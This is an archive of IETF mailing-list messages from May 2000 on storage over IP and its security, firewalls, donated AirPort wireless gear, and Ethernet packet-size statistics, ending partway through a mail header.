	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 12:50:02 -0400 (EDT)
Received: from mauve.mrochek.com (DSL107-055.brandx.net [209.55.107.55])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA19361
	for <ietf@ietf.org>; Fri, 26 May 2000 12:21:36 -0400 (EDT)
From: ned.freed@innosoft.com
Received: from mauve.mrochek.com by mauve.mrochek.com (PMDF V6.1-1 #35243)
 id <01JPUKP5E7CW00004J@mauve.mrochek.com> for ietf@ietf.org; Fri,
 26 May 2000 09:21:34 -0800 (PST)
Date: Fri, 26 May 2000 09:09:24 -0800 (PST)
Subject: Re: Storage over Ethernet/IP
In-reply-to: "Your message dated Fri, 26 May 2000 11:01:21 -0400"
 <200005261501.LAA28909@astro.cs.utk.edu>
To: Keith Moore <moore@cs.utk.edu>
Cc: Brian.Rubarts@born.com, moore@cs.utk.edu, ietf@ietf.org
Message-id: <01JPUN1PXIZU00004J@mauve.mrochek.com>
MIME-version: 1.0
Content-type: TEXT/PLAIN; CHARSET=us-ascii
References: <A427D1278F7CD311B1670008C7FAA62AC89F1E@CORPNT3>
X-Loop: ietf@ietf.org

> > Encryption will be offloaded to the network interface.  ASICs on the NICs
> > will greatly improve encryption and authentication performance.

> all well and good, provided that this encryption and authentication
> are actually compatible with that specified by higher level protocols
> and the authentication actually meets the needs of users.
> (if your network interface needs to use and verify users' credentials,
> as opposed to the host's credentials, it might be a stretch.)

FWIW, it has been tried, and it didn't succeed in the market, although whether
that was a matter of timing, insufficient market push, or no market existing
isn't clear.

Specifically, Digital used to make a little gadget called a Cryptonette that
you inserted into your Ethernet cable that did this. (The chip inside was
something called a TANDU, and had DES and two Ethernet ports built in. The
whole thing was the size of a pack of cards.)

And I believe there were at least two other similar gadgets at some point,
although I cannot recall their names...

The demo I saw had the boxes doing IPSEC-style operations (this was before
IPSEC was standardized), with the credential verification being done on the
host side.

OTOH, at least one of the problems with these sorts of things is that it's hard
to change the cryptography embedded in them. So, while I think hardware
cryptographic acceleration of this sort could be quite useful, I'm skeptical
that it will ever be something that is universally deployed.

> > It won't run over the Internet because of latencies inherent on the
> > public network.

> at least for some storage applications, latency is not as important
> as bandwidth.  e.g. you can do backups over a high-latency medium
> as long as your bandwidth is adequate (though recovery from write
> errors gets a bit tricky).

Yep. Backups done over the public Internet (usually with an appalling lack of
security, alas) are actually quite common.

				Ned



From owner-ietf-outbound  Fri May 26 13:00:23 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA20234
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 13:00:03 -0400 (EDT)
Received: from mail.cic.tsinghua.edu.cn (mail.cic.tsinghua.edu.cn [166.111.4.11])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA19724
	for <ietf@ietf.org>; Fri, 26 May 2000 12:37:49 -0400 (EDT)
Received: from a ([166.111.180.27])
	by mail.cic.tsinghua.edu.cn (8.8.7/8.8.7) with SMTP id BAA15318;
	Sat, 27 May 2000 01:41:59 +0900 (CDT)
Message-Id: <200005261641.BAA15318@mail.cic.tsinghua.edu.cn>
Date: Sat, 27 May 2000 0:40:57 +0800
From: qtl <qtl@263.net>
To: "mpls@uu.net" <mpls@uu.net>
CC: "ietf@ietf.org" <ietf@ietf.org>
Subject: wave wrapper!
X-mailer: FoxMail 3.0 beta 2 [cn]
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Hi:
	How about digital wrapper(wave wrapper?) now?I want to know it!
Where can I find the document about it?
	Thank you!



From owner-ietf-outbound  Fri May 26 13:10:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA20510
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 13:10:03 -0400 (EDT)
Received: from calcite.rhyolite.com (calcite.rhyolite.com [38.159.140.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA20007
	for <ietf@ietf.org>; Fri, 26 May 2000 12:51:02 -0400 (EDT)
Received: (from vjs@localhost)
	by calcite.rhyolite.com (8.9.3/calcite) id KAA14147
	for ietf@ietf.org  env-from <vjs>;
	Fri, 26 May 2000 10:51:03 -0600 (MDT)
Date: Fri, 26 May 2000 10:51:03 -0600 (MDT)
From: Vernon Schryver <vjs@calcite.rhyolite.com>
Message-Id: <200005261651.KAA14147@calcite.rhyolite.com>
To: ietf@ietf.org
Subject: RE: Storage over Ethernet/IP
X-Loop: ietf@ietf.org

> Yeah, okay.  I will grant that.  But, should a good technology be nixed
> because some idiots might mis-use it?  I personally don't think so.

This thread started with a question about a TCP technology report, and
wandered into firewall and general security technologies.  Which is the
good technology that is likely to be misused?

 .....

It has been at least 10 years since the word "technology" came to mean
"post process male bovine grass and grain."  Whenever someone uses a form
of the T-word, make the appropriate substitution and notice that the user's
intended meaning is far clearer, albeit sometimes more clear than the user
desired.


Vernon Schryver    vjs@rhyolite.com



From owner-ietf-outbound  Fri May 26 13:40:07 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA21151
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 13:40:02 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA20965
	for <ietf@ietf.org>; Fri, 26 May 2000 13:31:45 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id NAA01178;
        Fri, 26 May 2000 13:31:43 -0400 (EDT)
Message-Id: <200005261731.NAA01178@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: Brian.Rubarts@born.com
cc: joel@mcquillan.com, ietf@ietf.org
Subject: Re: Storage over Ethernet/IP 
In-reply-to: Your message of "Fri, 26 May 2000 10:57:25 CDT."
             <A427D1278F7CD311B1670008C7FAA62AC89F21@CORPNT3> 
Date: Fri, 26 May 2000 13:31:43 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

>  But, should a good technology be nixed because some idiots might mis-use it? 

no.  but an Internet protocol for accessing storage devices needs to be
able to operate in the Internet.

Keith

p.s. You might as well ask "is an insecure technology for accessing storage
devices a good thing, given that there are large numbers of idiots out 
there who assume that firewalls provide adequate security?"



From owner-ietf-outbound  Fri May 26 13:50:23 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA21367
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 13:50:02 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA21008
	for <ietf@ietf.org>; Fri, 26 May 2000 13:34:19 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id NAA01216;
        Fri, 26 May 2000 13:34:17 -0400 (EDT)
Message-Id: <200005261734.NAA01216@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: Brian.Rubarts@born.com
cc: Valdis.Kletnieks@vt.edu, ietf@ietf.org
Subject: Re: Storage over Ethernet/IP 
In-reply-to: Your message of "Fri, 26 May 2000 10:55:29 CDT."
             <A427D1278F7CD311B1670008C7FAA62AC89F20@CORPNT3> 
Date: Fri, 26 May 2000 13:34:17 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

> I AM saying that if you have Internet access to your network, a firewall is 
> extremely important.

and you're wrong.  a firewall is just a tool for reducing the difficulty
of your threat analysis.  it doesn't inherently make your network more 
secure.  what makes your network secure (to the extent that it is)
is the the fact that you have done the threat analysis and blocked the 
holes that you've identified through that analysis.  a firewall can
make the job easier by reducing the number of cases that you have to
consider, but it does not make your network secure.  what's more, you
can often do this job better without a firewall than with one, because
firewalls can acutally cause security holes that didn't exist before.

Keith



From owner-ietf-outbound  Fri May 26 14:00:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA21633
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 14:00:03 -0400 (EDT)
Received: from castillo.torrentnet.com (castillo.torrentnet.com [4.18.161.34])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA21595
	for <ietf@ietf.org>; Fri, 26 May 2000 13:58:40 -0400 (EDT)
Received: from castillo.torrentnet.com (localhost.torrentnet.com [127.0.0.1])
	by castillo.torrentnet.com (8.9.3/8.9.3) with ESMTP id NAA15896;
	Fri, 26 May 2000 13:58:34 -0400 (EDT)
Message-Id: <200005261758.NAA15896@castillo.torrentnet.com>
X-Mailer: exmh version 2.0.2 2/24/98
To: Karl Auerbach <karl@CaveBear.com>
cc: Jon William Toigo <jtoigo@INTNET.NET>, ietf@ietf.org
Subject: Re: Storage over Ethernet/IP 
In-reply-to: Your message of "Fri, 26 May 2000 08:32:05 PDT."
             <Pine.LNX.4.21.0005260827310.28670-100000@npax.cavebear.com> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Fri, 26 May 2000 13:58:33 -0400
From: Steve Blake <slblake@torrentnet.com>
X-Loop: ietf@ietf.org


> There were some papers published duing the late '80's or early '90s by
> John Romkey and I belive Dave Clark and Van Jacobson about the length of
> instruction sequences to handle TCP.  I'm not sure that those ever became
> RFCs.
> 
> Those papers came up with figures indicating that if one structures code
> "correctly" and if the net path is "clean" (i.e. not a lot of packet loss,
> reordering, replication, etc) than the per-packet instruction sequences
> (sans IP checksum calculation) were potantially very short.
> 
> Does anyone have the references to these papers?

David D. Clark, Van Jacobson, John Romkey, and Howard Salwen, "An Analysis
of TCP Processing Overhead", IEEE Communications, vol. 27, no. 6, June 1989,
pp. 23 - 29.




=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Steven L. Blake                  <slblake@torrentnet.com>
Ericsson IP Infrastructure                  (919)472-9913




From owner-ietf-outbound  Fri May 26 14:20:10 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA22240
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 14:20:02 -0400 (EDT)
Received: from rgfsparc.cr.usgs.gov (rgfsparc.cr.usgs.gov [136.177.164.192])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA22167
	for <ietf@ietf.org>; Fri, 26 May 2000 14:17:43 -0400 (EDT)
Received: from rgfsparc.cr.usgs.gov (rgfsparc.cr.usgs.gov [136.177.164.192])
	by rgfsparc.cr.usgs.gov (8.9.3+Sun/8.9.1) with SMTP id NAA00209
	for <ietf@ietf.org>; Fri, 26 May 2000 13:15:56 -0500 (CDT)
Message-Id: <200005261815.NAA00209@rgfsparc.cr.usgs.gov>
Date: Fri, 26 May 2000 13:15:56 -0500 (CDT)
From: "Robert G. Ferrell" <root@rgfsparc.cr.usgs.gov>
Reply-To: "Robert G. Ferrell" <root@rgfsparc.cr.usgs.gov>
Subject: Re: Storage over Ethernet/IP 
To: ietf@ietf.org
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: ulBH/sPvL4cs0K4hqb2KRw==
X-Mailer: dtmail 1.3.0 CDE Version 1.3 SunOS 5.7 sun4u sparc 
X-Loop: ietf@ietf.org

>If your OS is hardened enough, a firewall may not be appropriate.
>
>"New from Kellogs - Firewalls cereal - part of this *COMPLETE* and *BALANCED*
>security breakfast".

Given the recent revelations about Gauntlet, perhaps firewalls aren't quite 
the invincible bastions of unassailability they appear, as well.

RGF

Robert G. Ferrell, CISSP
Information Systems Security Officer
National Business Center, US DoI
Robert_G_Ferrell@nbc.gov
------------------------------------------------------------
Nothing I have ever said should be construed as even vaguely
representing an official statement by the NBC or DoI.
------------------------------------------------------------



From owner-ietf-outbound  Fri May 26 15:30:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA23467
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 15:30:02 -0400 (EDT)
Received: from mail-out1.apple.com (mail-out1.apple.com [17.254.0.52])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA23375;
	Fri, 26 May 2000 15:24:53 -0400 (EDT)
Received: from mailgate1.apple.com (A17-128-100-225.apple.com [17.128.100.225])
	by mail-out1.apple.com (8.9.3/8.9.3) with ESMTP id MAA17276;
	Fri, 26 May 2000 12:24:53 -0700 (PDT)
Received: from scv2.apple.com (scv2.apple.com) by mailgate1.apple.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <T118064e118c4c69c29efb@mailgate1.apple.com>;
 Fri, 26 May 2000 12:24:36 -0700
Received: from [17.201.23.37] (chesh1.apple.com [17.201.23.37])
	by scv2.apple.com (8.9.3/8.9.3) with SMTP id MAA06946;
	Fri, 26 May 2000 12:24:52 -0700 (PDT)
Message-Id: <200005261924.MAA06946@scv2.apple.com>
Subject: IETF Wireless
Date: Fri, 26 May 2000 12:25:05 -0700
x-sender: cheshire@mail.apple.com
x-mailer: Claris Emailer 2.0v3, January 22, 1998
From: Stuart Cheshire <cheshire@apple.com>
To: <ietf@ietf.org>
cc: "Steve Coya" <scoya@ietf.org>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
X-Loop: ietf@ietf.org

There's a good chance I may be able to persuade Apple to donate a bunch 
of 11Mb/s IEEE 802.11 Wireless/Ethernet bridges (the things we call 
"AirPort") to IETF, on a permanent basis, for the meetings.

Any interest? How many would we want? A couple for the terminal room and 
one each per meeting room?

These are absolutely standard 11Mb/s IEEE 802.11DS base stations, not 
some proprietary Apple thing. PC users can get 802.11DS cards from 
companies like Lucent: <http://www.wavelan.com/>

Lucent's web site provide a list of resellers: 
<http://www.wavelan.com/contact/>

I have heard good reports about Brumleynet. They sell 11Mb/s WaveLAN 
cards for $160: <http://www.brumleynet.com/>

Stuart Cheshire <cheshire@apple.com>
 * Wizard Without Portfolio, Apple Computer



From owner-ietf-outbound  Fri May 26 16:20:11 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA24667
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 16:20:02 -0400 (EDT)
Received: from diablo.cisco.com (diablo.cisco.com [171.68.224.210])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA24511;
	Fri, 26 May 2000 16:13:58 -0400 (EDT)
Received: from localhost (ole@localhost) by diablo.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with SMTP id NAA27133; Fri, 26 May 2000 13:13:28 -0700 (PDT)
Date: Fri, 26 May 2000 13:13:28 -0700 (PDT)
From: "Ole J. Jacobsen" <ole@cisco.com>
To: Stuart Cheshire <cheshire@apple.com>
cc: ietf@ietf.org, Steve Coya <scoya@ietf.org>
Subject: Re: IETF Wireless
In-Reply-To: <200005261924.MAA06946@scv2.apple.com>
Message-ID: <Pine.HPX.4.02.10005261307360.5884-100000@diablo.cisco.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org



"...not some proprietary Apple thing."

I can verify that this is true, so true in fact that if you take an
AirPort station apart you will find a Lucent Silver WaveLAN card inside.
Only downside with AiPort is:

- You need a Macintosh to configure it

- It has no way to add extenal antennas to boost signal.

These are not necessarily show stoppers given the amount of Mac geeks
at IETFs and if you have enough of them I guess the antenna isn't
much of an issue.

Now, I have heard mentioned that the AirPort has a limit to the number
of users it will support, but I don't know if this is true or how it
compares to the usual kit we use at IETF meetings.

Ole


Ole J. Jacobsen 
Editor and Publisher
The Internet Protocol Journal
Cisco Systems, Office of the CSO
Tel: +1 408-527-8972
e-mail: ole@cisco.com
URL: http://www.cisco.com/ipj

* See you at INET 2000, Yokohama, Japan July 18-21
  http://www.isoc.org/inet2000






From owner-ietf-outbound  Fri May 26 16:30:07 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA24899
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 16:30:03 -0400 (EDT)
Received: from mail.shadow.net (mail.shadow.net [204.177.71.231])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA24799
	for <ietf@ietf.org>; Fri, 26 May 2000 16:25:09 -0400 (EDT)
Received: from flywheel.com (ppp-221.shadow.net [207.17.58.241])
	by mail.shadow.net (8.9.3+Sun/8.9.3) with ESMTP id QAA23831
	for <ietf@ietf.org>; Fri, 26 May 2000 16:14:00 -0400 (EDT)
Message-ID: <392EDD9D.D748E08@flywheel.com>
Date: Fri, 26 May 2000 16:25:01 -0400
From: Craig Simon <cls@flywheel.com>
Reply-To: cls@flywheel.com
X-Mailer: Mozilla 4.7 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf@ietf.org
Subject: Cite on DNS-related traffic.
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

I recall once seeing a graph shown by Christian Huitema indicating that
DNS-related overhead accounted for about 5 to 10 percent of Internet traffic. 

Can anyone provide a link for this or equivalent documentation? 

Thanks.

Craig Simon



From owner-ietf-outbound  Fri May 26 16:50:20 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA25399
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 16:50:02 -0400 (EDT)
Received: from gallium.network-alchemy.com (Gallium.Network-Alchemy.COM [199.46.17.139])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA25285;
	Fri, 26 May 2000 16:45:35 -0400 (EDT)
Received: from gallium.network-alchemy.com (localhost.network-alchemy.com [127.0.0.1])
	by gallium.network-alchemy.com (8.8.8/8.8.8) with ESMTP id NAA12792;
	Fri, 26 May 2000 13:44:58 -0700 (PDT)
	(envelope-from ddp@network-alchemy.com)
Message-Id: <200005262044.NAA12792@gallium.network-alchemy.com>
To: "Ole J. Jacobsen" <ole@cisco.com>
cc: Stuart Cheshire <cheshire@apple.com>, ietf@ietf.org,
        Steve Coya <scoya@ietf.org>
Subject: Re: IETF Wireless 
In-reply-to: Your message of "Fri, 26 May 2000 13:13:28 PDT."
             <Pine.HPX.4.02.10005261307360.5884-100000@diablo.cisco.com> 
Date: Fri, 26 May 2000 13:44:58 -0700
From: "Derrell D. Piper" <ddp@Network-Alchemy.COM>
X-Loop: ietf@ietf.org

> I can verify that this is true, so true in fact that if you take an
> AirPort station apart you will find a Lucent Silver WaveLAN card inside.
> Only downside with AiPort is:

Also, this page:

      http://www.msrl.com/airport-gold/

...has information about upgrading an Airport to a Lucent Gold card with
128-bit encryption.

> - You need a Macintosh to configure it

There is a Windows-based configuration utility that I've seen used to
configure the Airport sucessfully.  See the "Karlbridge configurator for
Windows" link on the page listed above.

Derrell



From owner-ietf-outbound  Fri May 26 17:00:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA25686
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 17:00:03 -0400 (EDT)
Received: from Intrepid.srv.paranet.com (kirkwood.paranet.com [199.164.131.35])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA25630
	for <ietf@ietf.org>; Fri, 26 May 2000 16:57:35 -0400 (EDT)
Received: from stevetecra (steve_tecra.whq.sprint.com [10.70.141.64]) by Intrepid.srv.paranet.com (8.7.1/8.7.1) with SMTP id PAA13302; Fri, 26 May 2000 15:57:04 -0500 (CDT)
From: "Steve Dispensa" <stdispen@sprintparanet.com>
To: "'Stuart Cheshire'" <cheshire@apple.com>, <ietf@ietf.org>
Cc: "Deep Medhi \(E-mail\)" <dmedhi@cstp.umkc.edu>
Subject: RE: Average Ethernet packet length
Date: Fri, 26 May 2000 15:58:49 -0500
Message-ID: <002101bfc755$31a90010$408d460a@stevetecra>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Importance: Normal
In-Reply-To: <200005260209.TAA24729@scv3.apple.com>
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Here are some stats from an RMON probe on one of our broadband consumer
Internet access networks.  It's sitting between our access network and our
Internet transit connections, so it sees every packet coming from or going
to the subscribers.  This represents about 7TB worth of data over the last
few months.

Packet Size Distribution
All numbers are percentages

              Downstream      Upstream
              ----------      --------
0    -  64         14.68         58.49
65   -  127        13.87         29.73
128  -  255         7.25          1.72
256  -  511         6.44          3.98
512  - 1023        13.59          3.37
1024 - 1518        44.17          2.70


It's interesting to note the disparity between the upstream and downstream
distributions.  I was also surprised to see that half of the packets on the
downstream are significantly larger than 576.  I just wish I had a bucket
boundary at 576+18.  Still, there's no ambiguity about the 44% of packets
that are (probably) at Ethernet MTU.

Steve Dispensa
Sr. Network Architect
Sprint Broadband Wireless Group




-----Original Message-----
From: Stuart Cheshire [mailto:cheshire@apple.com]
Sent: Thursday, May 25, 2000 9:10 PM
To: ietf@ietf.org
Subject: Re: Average Ethernet packet length

>There are no good, current studies on LAN behavior that I've seen.
>There have been a number of papers on WAN behavior.  The usual result
>of those is that ~40-50% of packets are about 40-44 bytes, but most of
>the bytes are carried by packets of ~500-576 or 1500 bytes.
>
>               --Steve Bellovin

In some traces I did for my PhD work about three years ago, I found that
51% of the packets were 40 or 41 bytes long (i.e. mostly TCP acks or
one-byte TCP payloads). Only 15% of the packets were maximum-sized. The
average packet size was 273 bytes. This workload was probably heavier on
telnet than today's networks; however even when doing bulk file transfer,
one packet in three is still an ack.

Stuart Cheshire <cheshire@apple.com>
 * Wizard Without Portfolio, Apple Computer



From owner-ietf-outbound  Fri May 26 17:10:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA25967
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 17:10:02 -0400 (EDT)
Received: from CU.NIH.GOV (silkt.nih.gov [128.231.160.112])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA25650;
	Fri, 26 May 2000 16:58:44 -0400 (EDT)
Message-Id: <200005262058.QAA25650@ietf.org>
To: cheshire@apple.com
cc: ietf@ietf.org, scoya@ietf.org
From: "Roger Fajman" <RAF@CU.NIH.GOV>
Date:     Fri, 26 May 2000  16:58:28 -0400 (EDT)
Subject:  Re:  IETF Wireless
X-Loop: ietf@ietf.org

> There's a good chance I may be able to persuade Apple to donate a bunch
> of 11Mb/s IEEE 802.11 Wireless/Ethernet bridges (the things we call
> "AirPort") to IETF, on a permanent basis, for the meetings.
>
> Any interest? How many would we want? A couple for the terminal room and
> one each per meeting room?
>
> These are absolutely standard 11Mb/s IEEE 802.11DS base stations, not
> some proprietary Apple thing. PC users can get 802.11DS cards from
> companies like Lucent: <http://www.wavelan.com/>

Is there a way to turn off the NAT in the AirPort access points?  We've
had trouble here with PCs using them because the NAT implementation
doesn't handle NETBIOS.  Also, given the general dislike of many people
in the IETF for NAT, it may not be something that the IETF wants to use
itself.



From owner-ietf-outbound  Fri May 26 17:20:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA26241
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 17:20:03 -0400 (EDT)
Received: from ns.skylink.it (root@ns.skylink.it [194.177.113.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA25984;
	Fri, 26 May 2000 17:10:25 -0400 (EDT)
Received: from kim.ispra.webweaving.org (va-168.skylink.it [194.185.55.168])
	by ns.skylink.it (8.9.1/8.8.8) with ESMTP id XAA09843;
	Fri, 26 May 2000 23:09:53 +0200
Received: from kim.ispra.webweaving.org (kim.ispra.webweaving.org [10.10.0.2])
	by kim.ispra.webweaving.org (8.8.8/8.8.5) with ESMTP id UAA05845;
	Fri, 26 May 2000 20:59:06 GMT
X-Passed: MX on Ispra.WebWeaving.org Fri, 26 May 2000 20:59:06 GMT and masked
X-No-Spam: Neither the receipients nor the senders email address(s) are
	to be used for Unsolicited (Commercial) Email without the
	explicit written consent of either party; as a per-message
	fee is incurred for inbound and outbound traffic to the originator.
Posted-Date: Fri, 26 May 2000 20:59:06 GMT
Date: Fri, 26 May 2000 22:59:06 +0200 (CEST)
From: Dirk-Willem van Gulik <dirkx@WEBWEAVING.ORG>
X-Sender: dirkx@kim.ispra.webweaving.org
To: Stuart Cheshire <cheshire@apple.com>
cc: ietf@ietf.org, Steve Coya <scoya@ietf.org>
Subject: Re: IETF Wireless
In-Reply-To: <200005261924.MAA06946@scv2.apple.com>
Message-ID: <Pine.BSF.4.05.10005262258220.4503-100000@kim.ispra.webweaving.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org



On Fri, 26 May 2000, Stuart Cheshire wrote:

> These are absolutely standard 11Mb/s IEEE 802.11DS base stations, not 
> some proprietary Apple thing. PC users can get 802.11DS cards from 
> companies like Lucent: <http://www.wavelan.com/>

I can vouch for this; they work 100% fine with the Nortel, Baystack and
Fallaron cards (which each work on freebsd 3.x and above).

DW



From owner-ietf-outbound  Fri May 26 18:40:19 2000
Received: by ietf.org (8.9.1a/8.9.1a) id SAA27157
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 18:40:02 -0400 (EDT)
Received: from dokka.maxware.no (dokka.maxware.no [195.139.236.69])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA27118
	for <ietf@ietf.org>; Fri, 26 May 2000 18:35:16 -0400 (EDT)
Received: from langfjella.Alvestrand.no ([10.128.167.143])
	by dokka.maxware.no (8.9.3/8.9.3) with ESMTP id AAA05599;
	Sat, 27 May 2000 00:35:00 +0200
Message-Id: <4.3.1.2.20000527001328.047fb8b0@dokka.kvatro.no>
X-Sender: hta@dokka.maxware.no
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Sat, 27 May 2000 00:27:01 +0200
To: Brian.Rubarts@born.com
From: Harald Tveit Alvestrand <Harald@Alvestrand.no>
Subject: RE: Storage over Ethernet/IP 
Cc: ietf@ietf.org
In-Reply-To: <A427D1278F7CD311B1670008C7FAA62AC89F1F@CORPNT3>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Loop: ietf@ietf.org

At 10:14 26.05.2000 -0500, Brian.Rubarts@born.com wrote:
>True, but whether the server accesses the disks via SCSI over TCP or SCSI
>over Fibre Channel, the SERVER is still the weak link.  The transport 
>protocol doesn't create any inherent weaknesses of the type you are 
>refering to--e-mail borne viruses, internal hackers, etc.  The server 
>would still be the attack point.  Why goodness, the server and storage 
>devices could be in a VLAN or something to deny direct hack attempts 
>against the storage device, but the chink in the armor is how hardened is 
>your OS?
did you hear the story about the MIT students who broke encryption in 
Netscape by replacing the page of the binary containing the crypto 
verification code (sniffing the NFS request and replying faster than the 
real fileserver) while it was being transferred over the network?
Replacing a dedicated medium (such as a SCSI bus) with a shared medium 
(such as an Ethernet cable plant) always opens new chinks.

The point being made, remade and made again here is:
- Any IP technology will be used in contexts where there are security threats
- Any protocol that offers no means of countering such security threats is 
broken, and should not be considered for standardization.

It is perfectly possible that after conducting a threat and modality 
analysis, one ends up with saying that hardware-accelerated IPsec using 
host identities is adequate for the scenarios involving 
otherwise-unprotected Internet links, and that a mode with no protection is 
adequate when the media is physically secured.

But the analysis MUST BE DONE.

                       Harald






--
Harald Tveit Alvestrand, EDB Maxware, Norway
Harald.Alvestrand@edb.maxware.no



From owner-ietf-outbound  Fri May 26 19:00:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id TAA27333
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 19:00:03 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA27238;
	Fri, 26 May 2000 18:50:14 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id SAA04974;
        Fri, 26 May 2000 18:50:12 -0400 (EDT)
Message-Id: <200005262250.SAA04974@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: "Roger Fajman" <RAF@CU.NIH.GOV>
cc: cheshire@apple.com, ietf@ietf.org, scoya@ietf.org
Subject: Re: IETF Wireless 
In-reply-to: Your message of "Fri, 26 May 2000 16:58:28 EDT."
             <200005262058.QAA25650@ietf.org> 
Date: Fri, 26 May 2000 18:50:12 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

> Is there a way to turn off the NAT in the AirPort access points? 

if not, seems like that would be a showstopper.



From owner-ietf-outbound  Fri May 26 19:10:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id TAA27514
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 19:10:02 -0400 (EDT)
Received: from mail-out1.apple.com (mail-out1.apple.com [17.254.0.52])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA27288;
	Fri, 26 May 2000 18:57:21 -0400 (EDT)
Received: from mailgate2.apple.com (A17-129-100-225.apple.com [17.129.100.225])
	by mail-out1.apple.com (8.9.3/8.9.3) with ESMTP id PAA17206;
	Fri, 26 May 2000 15:57:23 -0700 (PDT)
Received: from scv3.apple.com (scv3.apple.com) by mailgate2.apple.com
 (Content Technologies SMTPRS 2.0.15) with ESMTP id <B0004730114@mailgate2.apple.com>;
 Fri, 26 May 2000 15:57:13 -0700
Received: from [17.201.23.37] (chesh1.apple.com [17.201.23.37])
